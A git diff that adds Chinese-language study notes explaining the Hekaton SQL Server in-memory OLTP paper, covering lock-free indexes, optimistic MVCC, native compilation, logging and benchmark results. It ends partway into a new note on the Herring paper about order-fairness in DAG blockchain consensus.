+传统数据库中，每个内存页面都需要一个 **latch**（轻量锁）来保护。当 100 个 CPU 核心同时访问同一个页面时，99 个必须等待。这是扩展性的最大敌人。
+
+Hekaton 的所有内部数据结构——哈希表、范围索引、内存分配器、事务映射——都是**完全无锁**的。任何线程可以访问任何行，无需获取 latch 或锁。
+
+**类比：** 传统锁机制就像一条单行道，所有车都得排队等绿灯。Hekaton 的无锁结构就像立交桥——每辆车都有自己的车道，互不干扰。
+
+### 2.3 乐观 MVCC（Optimistic MVCC）
+
+传统数据库使用**悲观锁**：先加锁，再操作，防止冲突。
+
+Hekaton 使用**乐观并发控制**（OCC）+ **多版本**（MVCC）：
+
+1. 先做操作，不锁任何东西
+2. 提交时再检查有没有冲突
+3. 如果有冲突，回滚重试；如果没有，提交成功
+
+```
+传统方式（悲观）：
+  SELECT ... → 加锁 → 修改 → 提交解锁
+
+Hekaton 方式（乐观）：
+  SELECT ... → 修改（不锁）→ 提交时验证 → 成功则提交，失败则重试
+```
+
+多版本意味着：每次更新不是修改旧数据，而是创建新版本。旧版本仍然存在，只是标记为"过期"。这样不同事务可以同时看到不同时间点的数据快照。
+
+### 2.4 编译到原生代码（Native Code Compilation）
+
+传统 SQL Server 用**解释器**执行 SQL：每次查询都要经过解析、检查、调度等大量指令（即使是一条简单的查询也要几十万个 CPU 指令）。
+
+Hekaton 把存储过程**编译成本地机器代码**：
+
+- 生成的代码只包含实际需要的指令
+- 大量决策在编译时完成（数据类型已知、权限已验证）
+- 整个查询计划被折叠成**单个函数**，用 goto 连接各个操作符
+- 避免函数调用开销
+
+**类比：** 解释执行就像每个厨师读一本食谱（每一步都查书）；原生编译就像把食谱翻译成厨师母语并背下来（执行时直接照着做）。
+
+### 2.5 Bw-Tree（Bw-Tree）
+
+传统 B-Tree 索引在内存中使用时，每次修改都要加 latch 保护页面。Hekaton 使用 **Bw-Tree**——B-Tree 的无锁多版本变体。
+
+Bw-Tree 的关键思想：
+
+- 每个节点都有版本号
+- 修改操作不是就地更新，而是创建新版本
+- 用 CAS（比较并交换）原子操作来更新指针
+- 删除用"墓碑"标记（tombstone），不真正删除
+
+## 3 代码示例
+
+### 3.1 创建内存优化表
+
+```sql
+-- 第一步：在数据库中添加文件组，用于存放内存优化数据
+ALTER DATABASE MyDB
+ADD FILEGROUP HekatonFG CONTAINS MEMORY_OPTIMIZED_DATA;
+
+-- 第二步：添加文件到文件组
+ALTER DATABASE MyDB
+ADD FILE (NAME = 'hekaton_data', FILENAME = 'D:\HekatonData')
+TO FILEGROUP HekatonFG;
+
+-- 第三步：创建内存优化表（核心步骤）
+CREATE TABLE Accounts (
+    AccountId   INT         NOT NULL PRIMARY KEY NONCLUSTERED HASH
+                          WITH (BUCKET_COUNT = 1000000),
+    CustomerName NVARCHAR(50) NOT NULL,
+    City         NVARCHAR(50) NOT NULL,
+    Amount       DECIMAL(18, 2) NOT NULL,
+    INDEX idx_City NONCLUSTERED (City)
+)
+WITH (MEMORY_OPTIMIZED = ON,
+      DURABILITY = SCHEMA_AND_DATA);
+```
+
+**关键细节：**
+- `HASH` 索引需要指定 `BUCKET_COUNT`——哈希桶的数量。设太小会导致冲突，设太大会浪费内存。一个经验法则是设为预期行数的 1-2 倍。
+- `NONCLUSTERED` 表示这是非聚集索引（内存表中不支持聚集索引）。
+- `SCHEMA_AND_DATA` 表示数据持久化（持久化模式也可以是 `SCHEMA_ONLY`，用于临时表）。
+
+### 3.2 编译存储过程
+
+```sql
+-- 创建一个编译到原生代码的存储过程
+-- 核心：添加 NATIVE_COMPILATION 和 SCHEMABINDING 两个选项
+CREATE PROCEDURE TransferMoney
+    @FromAccount INT,
+    @ToAccount   INT,
+    @Amount      DECIMAL(18, 2)
+WITH NATIVE_COMPILATION, SCHEMABINDING, EXECUTE AS OWNER
+AS
+BEGIN ATOMIC
+    WITH (
+        ISOLATION LEVEL = SERIALIZABLE,
+        LANGUAGE = N'English'
+    )
+    -- 验证余额充足
+    IF (SELECT Amount FROM dbo.Accounts
+        WHERE AccountId = @FromAccount) < @Amount
+    BEGIN
+        RAISERROR('余额不足', 16, 1);
+        RETURN;
+    END
+
+    -- 转账：从源账户扣款
+    UPDATE dbo.Accounts
+    SET Amount = Amount - @Amount
+    WHERE AccountId = @FromAccount;
+
+    -- 转账：向目标账户加款
+    UPDATE dbo.Accounts
+    SET Amount = Amount + @Amount
+    WHERE AccountId = @ToAccount;
+END;
+```
+
+**关键细节：**
+- `NATIVE_COMPILATION`：告诉 Hekaton 将此过程编译为原生机器代码。
+- `SCHEMABINDING`：绑定到底层表结构。这意味着只要存储过程存在，它引用的表就不能被删除。这样做的好处是执行时不需要获取模式锁（schema stability lock），进一步减少开销。
+- `BEGIN ATOMIC ... END`：定义了一个原子块，包含隔离级别。这是编译存储过程的强制要求。
+- 编译存储过程**不能引用常规表**（在当前实现中），只能操作内存优化表。
+
+### 3.3 验证性能对比
+
+```sql
+-- 对比实验：同一个查询，分别对传统表和内存优化表执行
+-- 查询 100 万次随机查找并计算统计值
+
+-- 对于传统表（使用解释器执行）
+SET STATISTICS TIME ON;
+DECLARE @i INT = 0, @total DECIMAL(18,2) = 0;
+WHILE @i < 1000000
+BEGIN
+    SELECT @total = @total + Amount
+    FROM dbo.AccountsTraditional
+    WHERE AccountId = @i % 1000000;
+    SET @i += 1;
+END;
+SET STATISTICS TIME OFF;
+
+-- 对于内存优化表（使用编译存储过程执行）
+-- 先创建一个批量查询的编译存储过程
+CREATE PROCEDURE BatchLookup
+    @Count INT
+WITH NATIVE_COMPILATION, SCHEMABINDING
+AS
+BEGIN ATOMIC
+    WITH (ISOLATION LEVEL = SERIALIZABLE)
+    -- 使用循环在编译过程中处理
+    ...
+END;
+```
+
+论文实验结果（100,000 次查找，单核 2.67GHz Xeon）：
+
+| 操作 | 传统 SQL Server | Hekaton | 加速比 |
+|------|-----------------|---------|--------|
+| 1 次查找 | 734K 周期 | 40K 周期 | 10.8X |
+| 1000 次查找 | 20.1M 周期 | 1.06M 周期 | 18.9X |
+| 10,000 次查找 | 201M 周期 | 9.85M 周期 | 20.4X |
+| 1 次更新 | 910K 周期 | 45K 周期 | 20.2X |
+| 100 次更新 | 8.17M 周期 | 260K 周期 | 31.4X |
+
+## 4 事务与并发控制
+
+### 4.1 版本可见性
+
+每条记录有两个时间戳：
+
+- **Begin**：创建此版本的交易的提交时间
+- **End**：删除此版本的交易的提交时间（或无穷大 `inf` 表示仍然有效）
+
+一个事务在逻辑读取时间 `RT` 下执行时，**只看见** `Begin <= RT <= End` 的版本。
+
+```
+版本 A: Begin=10, End=20   → 在时间 15 可见
+版本 B: Begin=20, End=100  → 在时间 50 可见（版本 A 的更新）
+版本 C: Begin=100, End=inf → 在时间 200 可见（版本 B 的更新）
+```
+
+### 4.2 提交时的验证（Validation）
+
+可串行化事务在提交时需要验证两件事：
+
+1. **读取稳定性**（Read Stability）：事务读过的版本在提交时仍然可见（没有被其他事务更新）。
+2. **避免幻影**（Phantom Avoidance）：事务扫描过的范围没有新增版本。
+
+如果验证失败，事务回滚并重试。因为 Hekaton 没有锁，验证可以在缓存中进行，开销很低。
+
+### 4.3 提交依赖（Commit Dependencies）
+
+当一个事务 T1 在验证期间读到另一个未提交事务 T2 创建或修改的版本时，T1 不能直接提交（因为 T2 可能回滚）。Hekaton 的解决方案：
+
+- T1 记录对 T2 的**提交依赖**
+- T1 被允许继续执行，但结果暂不返回给客户端
+- 如果 T2 最终提交，T1 依赖计数减 1，可以提交
+- 如果 T2 回滚，T1 也必须回滚（级联回滚）
+
+这种方式保持了系统的**无阻塞性**。
+
+## 5 持久化：日志和检查点
+
+数据在内存中，宕机怎么办？Hekaton 用两种方式保证持久化：
+
+### 5.1 事务日志
+
+- 每个事务的修改在**提交时**才写入日志（不是写前日志 WAL）
+- 一条日志记录包含一个事务的所有修改
+- 只记录重做信息（redo），不记录撤销信息（undo）
+- 索引操作不记日志——恢复时从数据重建索引
+
+### 5.2 检查点
+
+检查点是日志的**压缩表示**：
+
+- **数据文件**：包含特定时间范围内的所有插入版本
+- **增量文件**：记录哪些版本已被删除（用于过滤）
+- 恢复时先加载数据文件，再用增量文件过滤已删除的版本
+- 当数据文件的"活跃内容"低于阈值时，合并相邻的数据文件
+
+### 5.3 恢复过程
+
+1. 从日志中找到最近的检查点
+2. **并行**加载所有数据/增量文件对
+3. 每对文件由一个独立线程处理（一个核对应一个线程）
+4. 用检查点之后的日志尾部做增量恢复
+
+恢复过程充分利用多核并行，这是 Hekaton 设计的核心思想之一。
+
+## 6 垃圾回收（Garbage Collection）
+
+多版本意味着旧版本会堆积。Hekaton 需要回收那些对任何活跃事务都不可见的版本。
+
+GC 的关键特性：
+
+| 特性 | 说明 |
+|------|------|
+| 非阻塞 | GC 与事务并发执行，不阻塞任何事务 |
+| 协作式 | 事务线程在扫描时遇到垃圾版本，可以顺手清理 |
+| 增量式 | 可以暂停/恢复，避免消耗过多 CPU |
+| 并行化 | 所有工作线程参与 GC，按 CPU 核心分区 |
+
+GC 线程定期扫描全局事务映射，找到最老的活跃事务，所有被它之后删除的版本都可以安全回收。
+
+## 7 架构总览
+
+```
+┌──────────────────────────────────────────────────────┐
+│                   SQL Server                          │
+│  ┌────────────┐  ┌───────────┐  ┌────────────────┐  │
+│  │  Metadata   │  │ Query     │  │  High Avail.   │  │
+│  │  (常规目录) │  │ Optimizer │  │  (AlwaysOn)    │  │
+│  └─────┬──────┘  └─────┬─────┘  └────────┬───────┘  │
+│        │               │                  │          │
+│  ┌─────▼───────────────▼──────────────────▼───────┐  │
+│  │              Hekaton 引擎                       │  │
+│  │  ┌────────────┐ ┌───────────┐ ┌─────────────┐  │  │
+│  │  │ 存储引擎    │ │ 编译器     │ │ 运行时       │  │  │
+│  │  │ (表/索引)  │ │ (T-SQL→机器码) │ (集成库) │  │  │
+│  │  └─────┬──────┘ └───────────┘ └──────┬──────┘  │  │
+│  └────────┼──────────────────────────────┼─────────┘  │
+│           │                              │            │
+│  ┌────────▼────────┐          ┌──────────▼───────┐   │
+│  │ 哈希索引 (无锁)  │          │  Bw-Tree 索引     │   │
+│  │ + 范围索引      │          │ (无锁多版本 B-Tree)│   │
+│  └─────────────────┘          └──────────────────┘   │
+│                                                      │
+│  ┌──────────────────────────────────────────────┐    │
+│  │ 乐观 MVCC 并发控制  │  无锁数据结构 │ 本机编译  │    │
+│  └──────────────────────────────────────────────┘    │
+└──────────────────────────────────────────────────────┘
+           │                    │
+    ┌──────▼──────┐    ┌───────▼────────┐
+    │ SQL Server  │    │ FileStream     │
+    │ 事务日志     │    │ (检查点文件)    │
+    └─────────────┘    └────────────────┘
+```
+
+## 8 为什么不做分区？
+
+同时期的很多内存数据库系统（H-store, VoltDB, HyPer）采用**数据分区**策略：把数据按核心分区，每个核心独占一个分区。
+
+Hekaton 团队认真评估了分区方案后选择了**不做分区**。原因：
+
+- 如果负载本身不好分区（一个事务需要访问多个分区），性能急剧下降
+- 跨分区查询需要发送请求到其他核心并等待结果，开销远大于直接查共享哈希表
+- 不分区更稳健，能处理各种复杂的工作负载
+
+## 9 性能实验总结
+
+### 可扩展性（核心数 vs 吞吐量）
+
+在 12 核机器上的订单录入系统测试：
+
+| 引擎 | 2 核 | 12 核 | 扩展倍数 |
+|------|------|-------|----------|
+| 传统 SQL Server（有锁） | 984 TPS | 2,312 TPS | 2.3X |
+| SQL Server（无锁分区） | 1,153 TPS | 5,834 TPS | 5.1X |
+| Hekaton（InterOp） | 1,518 TPS | 7,709 TPS | 5.1X |
+| Hekaton（原生编译） | 7,078 TPS | **36,375 TPS** | **5.1X** |
+
+关键发现：传统引擎的扩展性被 latch 争用限制在 2.3X。Hekaton 原生编译方案实现了 15.7X 的绝对性能提升，并且保持了完美的线性扩展。
+
+## 10 一句话总结
+
+**Hekaton 的核心思想就三件事：把所有东西放内存里、不用任何锁、把 SQL 编译成机器代码。** 这三件事叠加在一起，产生了 10-30 倍的性能提升和近乎线性的多核扩展性。
+
+## 11 进一步阅读
+
+- [Bw-Tree: A B-Tree for New Hardware Platforms](https://www.microsoft.com/en-us/research/publication/bw-tree-b-tree-new-hardware-platforms/) — Levandoski 等，ICDE 2013
+- [High-Performance Concurrency Control Mechanisms for Main-Memory Databases](https://www.microsoft.com/en-us/research/publication/high-performance-concurrency-control-mechanisms-for-main-memory-databases/) — Larson 等，PVLDB 2012
+- 微软已将该引擎正式命名为 **SQL Server In-Memory OLTP**，并集成到 SQL Server 2016 及更高版本中
diff --git a/src/content/docs/papers/hekaton.md b/src/content/docs/papers/hekaton.md
new file mode 100644
index 000000000..10fd95628
--- /dev/null
+++ b/src/content/docs/papers/hekaton.md
@@ -0,0 +1,320 @@
+---
+title: Hekaton — SQL Server 内存优化 OLTP 引擎
+来源: 'Diaconu et al., "Hekaton: SQL Server''s Memory-Optimized OLTP Engine", SIGMOD 2013'
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：给收银台换一套「内存工作台」
+
+想象一家连锁超市的收银系统。传统 SQL Server 像**带保险柜的柜台**：每笔交易都要打开抽屉（页锁）、在账本里找页码（B-tree 页 latch）、写完后还得把整页抄进保险柜（刷盘）。顾客一多，大家就在抽屉和页锁前排长队——CPU 核心越多，抢同一把锁的人反而越多，吞吐上不去。
+
+Hekaton 的思路是：**在柜台旁边加一张内存工作台**。热数据（订单行、库存扣减、会员积分）直接放在工作台上，用 T-SQL 照常操作；冷数据（历史报表、归档）仍留在保险柜里。工作台不抢页锁、不靠分区把顾客赶到不同窗口——任何收银员（线程）都能直接摸到任意一行，靠**乐观多版本**解决「两人同时改同一商品」的冲突。
+
+更狠的一步：针对只碰内存表的 stored procedure，SQL Server 把 T-SQL **编译成原生机器码**——相当于把「查价 → 扣库存 → 打小票」写成一条专用流水线，而不是每步都走通用解释器。
+
+论文发表于 SIGMOD 2013，产品化后成为 SQL Server 2014 的 **In-Memory OLTP** 功能。Hekaton 不是独立数据库，而是嵌在 SQL Server 里的第二套存储/执行引擎。
+
+---
+
+## 是什么
+
+**Hekaton**（希腊语「百手巨人」）是 Microsoft 为 **OLTP + 大内存 + 多核** 设计的内存数据库引擎，核心主张：
+
+1. **声明即用**：`CREATE TABLE ... MEMORY_OPTIMIZED`，无需换 DBMS。
+2. **混合访问**：单条 SQL / 单事务可同时读写 Hekaton 表与传统磁盘表。
+3. **原生编译**：只引用 Hekaton 表的 stored procedure 可编译为 C 再链接成 DLL，显著降低每请求指令数。
+4. **高并发**：性能关键路径上**无 latch、无锁表**；用 latch-free 索引 + 乐观 MVCC。
+5. **完整 ACID**：内存驻留但仍 durable——checkpoint + 日志，崩溃可恢复。
+
+论文作者团队：Cristian Diaconu、Craig Freedman、Per-Åke Larson 等（Microsoft Research / SQL Server 组）。
+
+---
+
+## 为什么传统 SQL Server 不够
+
+论文开篇做过「乐观上界」分析：即便把现有引擎的**扩展性**和 **CPI（每指令周期）** 都优化到极致，吞吐最多也就 **3–4×**；要 **10–100×** 必须换存储与执行模型。瓶颈来自：
+
+| 瓶颈 | 表现 |
+|------|------|
+| **Latch / spinlock** | B-tree 页、缓冲池热点；核数 >6 时 CPU 利用率卡在 ~40% |
+| **锁管理器** | 行锁/页锁竞争、锁表本身成为共享状态 |
+| **日志尾** | 高并发写时 transaction log 末尾串行 |
+| **解释执行** | 通用 T-SQL 路径指令多、分支多 |
+
+Hekaton 的三板斧：**少指令**（原生编译）、**少等待**（latch-free + 无锁并发控制）、**数据在内存**（按行存储、索引为内存结构设计）。
+
+设计还刻意**不做数据分区**来换扩展性——论文认为单机内存能放下时，不分区反而更快；扩展性靠无锁结构而非 sharding。
+
+---
+
+## 核心概念
+
+### 1. 双引擎共存（Regular vs Hekaton）
+
+- **Regular 表**：传统页式存储、B-tree、buffer pool、WAL。
+- **Hekaton 表**：行存于内存；每表至少一个索引（**无堆表**）；支持 **hash 索引**（点查）和 **Bw-tree 范围索引**（范围扫描）。
+
+用户可渐进迁移：先改最热的一张表，再编译最热的一个 procedure，其余不动。
+
+### 2. 行格式与嵌入式索引链
+
+Hekaton 每行物理上三段：
+
+1. **用户列数据**
+2. **索引链接列**：每个索引一列，把相同键的行串成链表（类似 Linux kernel 的 intrusive list）——更新索引时只改指针，不必像 B-tree 那样搬页
+3. **MVCC 头**：逻辑 begin/end timestamp（版本可见区间）
+
+读操作在索引链上扫描同键所有版本，只返回 begin ≤ 读时间戳 < end 的版本。
+
+### 3. Latch-free 索引
+
+Hash 与 Bw-tree 的实现保证多线程并发 insert/delete/lookup 时**不用 latch**。这与「无锁并发控制」不同：
+
+- **Latch**：保护物理结构（页、桶）——短临界区，可阻塞
+- **Lock**：保护逻辑事务隔离——Hekaton 在事务层不用传统锁表
+
+### 4. 乐观多版本并发控制（O-MVCC）
+
+更新 = **删除旧版本 + 插入新版本**（copy-on-write 语义）：
+
+- DELETE：先把 end timestamp 设为事务 ID（未提交），提交后改为 commit timestamp
+- INSERT：begin timestamp 同样先写事务 ID，提交后定稿
+- 读可能依赖未提交版本 → 记录 **commit dependency**；依赖方 abort 会级联
+
+隔离级别映射：
+
+| 提交前校验 | 隔离级别 |
+|------------|----------|
+| 不校验 phantom / read stability | Snapshot |
+| 校验 read stability | Repeatable Read |
+| 两者都校验 | Serializable |
+
+每个事务有 **read timestamp**（通常 = begin timestamp）和 **commit timestamp**；提交时验证 read set 仍有效，并按 scan set 重扫以防 phantom。
+
+### 5. 原生编译（Native Compilation）
+
+流程：T-SQL → 查询优化器 → **MAT**（Mixed Abstract Syntax Tree，混合元数据/命令式/表达式/计划）→ **PIT**（Pure Imperative Tree）→ C 代码 → 编译链接进引擎。
+
+关键优化：
+
+- 查询计划编译成**单个函数**，算子用 **label + goto** 串联，避免递归调用栈
+- 编译期类型已知 → 消除动态 dispatch
+- 仅 Hekaton 表、固定 schema、单事务内的 procedure 可 natively compile；复杂算子（sort、部分内置函数）仍走解释路径
+
+### 6. 持久化：无 WAL 页刷、有日志与 Checkpoint
+
+内存表不刷「数据页」，但仍 durable：
+
+- **Log stream**：每事务提交写**一条**记录（批量刷盘）
+- **Checkpoint stream**：**data stream**（某逻辑时间段内所有 insert）+ **delta stream**（同段内 delete 的版本 ID）
+- 索引操作**不记日志**——恢复时重建索引，把 bulk 成本挪到 recovery
+
+恢复时并行处理 data/delta 对。
+
+### 7. 垃圾回收（GC）
+
+版本变垃圾当：
+
+1. 创建它的 transaction rollback；或
+2. 已被 delete，且所有活跃事务的 read timestamp 都晚于 delete 时间
+
+- **Online GC**：索引扫描时顺手 unlink 垃圾版本（热路径自清理）
+- **Offline GC**：后台线程周期性扫「冷角落」，与事务处理交错以免堆积
+
+---
+
+## 代码示例
+
+### 示例 1：创建内存优化表与索引
+
+SQL Server 2014+ 语法（论文思想的直接产品化；具体选项随版本略有差异）：
+
+```sql
+-- 需要先启用数据库级 In-Memory OLTP 文件组（略）
+CREATE TABLE dbo.OrderLine (
+    OrderId   INT           NOT NULL,
+    LineNo    INT           NOT NULL,
+    ProductId INT           NOT NULL,
+    Qty       INT           NOT NULL,
+    UnitPrice DECIMAL(10,2) NOT NULL,
+    CONSTRAINT PK_OrderLine PRIMARY KEY NONCLUSTERED
+        HASH (OrderId, LineNo) WITH (BUCKET_COUNT = 1000000)
+) WITH (
+    MEMORY_OPTIMIZED = ON,
+    DURABILITY = SCHEMA_AND_DATA   -- 或 SCHEMA_ONLY（无持久化，更快）
+);
+
+-- 范围索引：按 ProductId 查某商品所有订单行
+CREATE NONCLUSTERED INDEX IX_OrderLine_Product
+    ON dbo.OrderLine (ProductId)
+    WITH (BUCKET_COUNT = 500000);
+```
+
+要点：
+
+- 必须有 **PRIMARY KEY**（hash 或 range）
+- `BUCKET_COUNT` 影响 hash 冲突与内存；过小则链变长
+- `DURABILITY = SCHEMA_ONLY` 适合纯缓存型数据（论文中的非 durable 场景）
+
+### 示例 2：原生编译 Stored Procedure
+
+```sql
+CREATE PROCEDURE dbo.PlaceOrder
+    @OrderId INT,
+    @ProductId INT,
+    @Qty INT,
+    @UnitPrice DECIMAL(10,2)
+WITH NATIVE_COMPILATION, SCHEMABINDING, EXECUTE AS OWNER
+AS
+BEGIN ATOMIC WITH (
+    TRANSACTION ISOLATION LEVEL = SNAPSHOT,
+    LANGUAGE = N'us_english'
+)
+    DECLARE @LineNo INT;
+
+    SELECT @LineNo = ISNULL(MAX(LineNo), 0) + 1
+    FROM dbo.OrderLine
+    WHERE OrderId = @OrderId;
+
+    INSERT INTO dbo.OrderLine (OrderId, LineNo, ProductId, Qty, UnitPrice)
+    VALUES (@OrderId, @LineNo, @ProductId, @Qty, @UnitPrice);
+END;
+GO
+```
+
+约束（与论文一致）：
+
+- `NATIVE_COMPILATION` + `SCHEMABINDING` + `BEGIN ATOMIC`：整个 procedure 在一个编译单元、单事务内
+- 只能访问 **memory-optimized 表**；引用磁盘表则退化为 interpreted interop
+- 隔离级别在 procedure 头声明；编译器针对 snapshot 等路径生成专用代码
+
+### 示例 3：混合事务（Hekaton + Regular）
+
+Interop 是论文强调的产品优势——迁移不必一步到位：
+
+```sql
+BEGIN TRAN;
+
+    -- 内存表：高频订单行
+    UPDATE dbo.OrderLine WITH (SNAPSHOT)
+    SET Qty = Qty - 1
+    WHERE OrderId = @OrderId AND ProductId = @ProductId;
+
+    -- 磁盘表：审计日志（低频、可归档）
+    INSERT INTO dbo.AuditLog (EventTime, OrderId, Action)
+    VALUES (SYSUTCDATETIME(), @OrderId, N'decrement');
+
+COMMIT;
+```
+
+Hekaton 路径走 O-MVCC；磁盘表仍走传统锁与 WAL——优化器/事务协调器负责统一 commit。
+
+---
+
+## 架构一图
+
+```text
+                    ┌─────────────────────────────────┐
+                    │         T-SQL / ODBC            │
+                    └───────────────┬─────────────────┘
+                                    │
+              ┌─────────────────────┼─────────────────────┐
+              ▼                     ▼                     ▼
+     ┌────────────────┐   ┌────────────────┐   ┌────────────────┐
+     │  Interpreted   │   │ Native Compiled│   │  Regular Engine│
+     │  (interop)     │   │  Procedures    │   │  (disk tables) │
+     └────────┬───────┘   └────────┬───────┘   └────────┬───────┘
+              │                    │                    │
+              └──────────┬─────────┘                    │
+                         ▼                              │
+              ┌──────────────────────┐                  │
+              │   Hekaton Engine     │◄── cross-engine ─┘
+              │  latch-free indexes  │     transactions
+              │  O-MVCC + row store  │
+              └──────────┬───────────┘
+                         │
+         ┌───────────────┼───────────────┐
+         ▼               ▼               ▼
+   ┌──────────┐   ┌──────────┐   ┌──────────┐
+   │ In-mem   │   │ Log /    │   │ Checkpoint│
+   │ indexes  │   │ durable  │   │ streams   │
+   └──────────┘   └──────────┘   └──────────┘
+```
+
+---
+
+## 实验结果（论文 §9 摘要）
+
+测试环境：Xeon X5650，最高 12 核；表约 6 列 × 2000 万行。
+
+### CPU 效率（RandomLookups / RandomUpdates）
+
+| 场景 | 相对传统引擎 |
+|------|----------------|
+| 每次 10+ 次点查 | ~**20×** 更少 CPU cycles（约 5%  cycles） |
+| 单次点查 | ~10.8× |
+| 每次 100+ 行更新 | ~**30×** |
+| 绝对吞吐 | 单核 ~270 万次 lookup/s；~190 万次 update/s（写缓存开启测 CPU，非磁盘延迟） |
+
+Hekaton 日志量在该更新基准上比 regular 少约 **57%**（行级、无页镜像）。
+
+### 扩展性（高争用 OLTP 模拟）
+
+| 配置 | 12 核吞吐 (txn/s) | 相对 regular |
+|------|-------------------|--------------|
+| Regular SQL Server | ~2,312 | 1×（2→12 核仅 2.3×） |
+| Hekaton interop | ~7,709 | ~3.3× |
+| Hekaton + native compile | ~**36,375** | ~**15.7×** |
+
+Hekaton 在 2→12 核上约 **5.1×** 线性扩展；regular 受 latch 限制明显。
+
+---
+
+## 与后续技术的关系
+
+| 论文概念 | 后续影响 |
+|----------|----------|
+| 嵌入式双引擎 | SQL Server 2014 **In-Memory OLTP** |
+| Bw-tree | 微软后续多篇 Bw-tree 论文；影响 main-memory 索引设计 |
+| 原生编译 T-SQL | 限制较多但成为「极致 OLTP」卖点 |
+| 无分区扩展 | 与 NewSQL 分片路线对比；Hekaton 主打** scale-up** |
+| O-MVCC + 无锁结构 | 与 Silo、LMDB 等内存 OLTP 设计同代；商业产品少见地完整落地 |
+
+读 Hekaton 有助于理解：**为什么「内存数据库」在 2010 年代必须重新做索引和并发控制，而不是只把 buffer pool 变大**。
+
+---
+
+## 局限与论文未覆盖点
+
+- **容量**：受单机内存限制；超大 working set 仍需 regular 表或分库。
+- **Native procedure 约束**：schema 固定、算子子集、单事务——复杂 ETL 仍用 interpreted。
+- **索引重建恢复**：缩短日志但拉长 recovery；适合 OLTP 短恢复窗口假设。
+- **2013 年后硬件**：NVMe、持久内存、RDMA 等未在本文讨论。
+
+---
+
+## 自检清单（零基础读完应能回答）
+
+1. Hekaton 与「单独买一个内存数据库」相比，集成进 SQL Server 的四个产品级好处是什么？
+2. **Latch-free** 与 **lock-free 事务（无锁表）** 分别解决哪类竞争？
+3. 为什么 UPDATE 在 Hekaton 里是 delete + insert？对索引链表有什么影响？
+4. 原生编译为什么用 goto 串计划而不是函数调用树？
+5. 若只把表改成 `MEMORY_OPTIMIZED` 但不编译 procedure，论文实验里大约能拿到多少倍吞吐提升？
+
+---
+
+## 延伸阅读
+
+- 同会议 / 同期：Bw-tree 原始论文（Levandoski et al.）
+- 对比阅读：Silo（MIT，decomposition of OLTP）、H-Store / VoltDB 分区 OLTP
+- 产品文档：Microsoft Docs — In-Memory OLTP (Memory-Optimized Tables)
+- 论文 PDF：[ACM DOI 10.1145/2463676.2463710](https://doi.org/10.1145/2463676.2463710)
+
+---
+
+## 一句话总结
+
+**Hekaton 把 OLTP 热路径搬进内存、去掉 latch 与传统锁、用乐观 MVCC 保隔离，并把 T-SQL 编译成机器码——在不换 DBMS 的前提下，让 SQL Server 在 multicore 上从「抢锁排队」变成「多收银员共用一个无抽屉锁的工作台」。**
diff --git a/src/content/docs/papers/herring-parallel-batch-order-fairness-on-dag-based-blockchain-consensus-arxiv-26.md b/src/content/docs/papers/herring-parallel-batch-order-fairness-on-dag-based-blockchain-consensus-arxiv-26.md
new file mode 100644
index 000000000..f8636c225
--- /dev/null
+++ b/src/content/docs/papers/herring-parallel-batch-order-fairness-on-dag-based-blockchain-consensus-arxiv-26.md
@@ -0,0 +1,220 @@
+---
+title: "Herring：并行批量顺序公平性——在 DAG 区块链共识中对抗 MEV"
+来源: https://arxiv.org/abs/2605.23648
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Herring：并行批量顺序公平性——在 DAG 区块链共识中对抗 MEV
+
+## 一、为什么要关心这件事？——排队打车的故事
+
+想象你在一座大城市打网约车。每当你发出叫车请求，平台会收集成千上万个请求，然后决定"谁先被接单"。问题在于，控制这个排序的人可以从中牟利：
+
+- 看到你有急事，故意把你的请求排在后面，然后让加价的人先接单
+- 发现某只股票的买卖请求，抢先用自己的资金买入（这叫 front-running）
+
+在加密货币世界，这种现象叫 **MEV（Maximal Extractable Value，最大可提取价值）**。据统计，每年因交易排序被操纵而损失的金额高达数十亿美元。
+
+**核心问题：** 区块链节点（称为"验证者"）虽然对"哪些交易有效"达成共识，但对"交易的顺序"几乎完全自由。Herring 这篇论文要解决的就是——**让交易的排序尽可能公平，不让任何人操控**。
+
+## 二、传统方案 vs DAG 方案：图书馆借书类比
+
+### 传统 BFT 共识（单线排队）
+
+传统的区块链共识（如 PBFT、HotStuff）像是一个**单窗口排队系统**：
+
+1. 每个时刻只有一个" leader（领导者）"负责决定交易顺序
+2. 所有交易必须排成一条线
+3. 领导者可以随意排列——这就是漏洞所在
+
+### DAG 共识（多人同时处理）
+
+DAG（有向无环图）共识像是一个**多人同时工作的图书馆**：
+
+1. 有多个"管理员"（验证者）可以同时处理交易
+2. 管理员之间互相引用对方处理过的内容，形成一张网
+3. 效率更高，但顺序公平性更难保证
+
+### 三种公平性方案的对比
+
+| 方案 | 怎么决定顺序 | 缺点 |
+|------|------------|------|
+| Themis | 单个领导者决定 | 单点瓶颈，领导者可作恶 |
+| FairDAG | 所有管理员串行计算 | 多核 CPU 没法并行利用 |
+| DoD | 在共识前计算 | 阻塞共识 Pipeline |
+| **Herring** | **并行计算 + 共识后处理** | **无** |
+
+## 三、核心概念拆解
+
+### 3.1 γ-Batch-Order-Fairness（γ-批量顺序公平性）
+
+这是论文要保障的核心属性。翻译成人话：
+
+> 如果大部分节点（γ 比例的验证者）都先收到交易 A 再收到交易 B，那么最终输出时 A 必须排在 B 前面（或同一批）。
+
+但有一个根本障碍叫 **Condorcet 悖论**（投票循环）：
+
+假设有三个交易 a、b、c，三个节点收到顺序分别是：
+- 节点1: a → b → c
+- 节点2: b → c → a
+- 节点3: c → a → b
+
+于是出现了：多数认为 a 在 b 前，b 在 c 前，c 在 a 前——**一个无法打破的循环**。
+
+Herring 的解法：把循环内的交易归入"同一批次"，批次内顺序无所谓，只保证批次之间的先后。
+
+### 3.2 依赖图（Dependency Graph）
+
+Herring 用一张有向图来记录"谁应该排在谁前面"：
+
+- 每个交易是图上的一个点
+- 如果多数节点先收到 tx_A 再收到 tx_B，就连一条 A→B 的箭头
+- 当所有点对之间都有箭头时，排序就确定了
+
+交易被分为三类（按收到的证据数量）：
+
+```
+Solid（实心）：至少 n-2f 个节点确认收到
+Shaded（着色）：至少阈值个节点确认，但不到 n-2f
+Blank（空白）：证据不足，暂时忽略
+```
+
+### 3.3 关键创新：并行化 + 共识后处理
+
+这是 Herring 最核心的设计。论文发现 FairDAG 的性能瓶颈在于**构建依赖图的阶段完全串行执行**——即使有 64 核 CPU，也只能用 1 核。
+
+Herring 的做法分两步：
+
+**（1）共识后构建图（Post-consensus Graph Construction）**
+
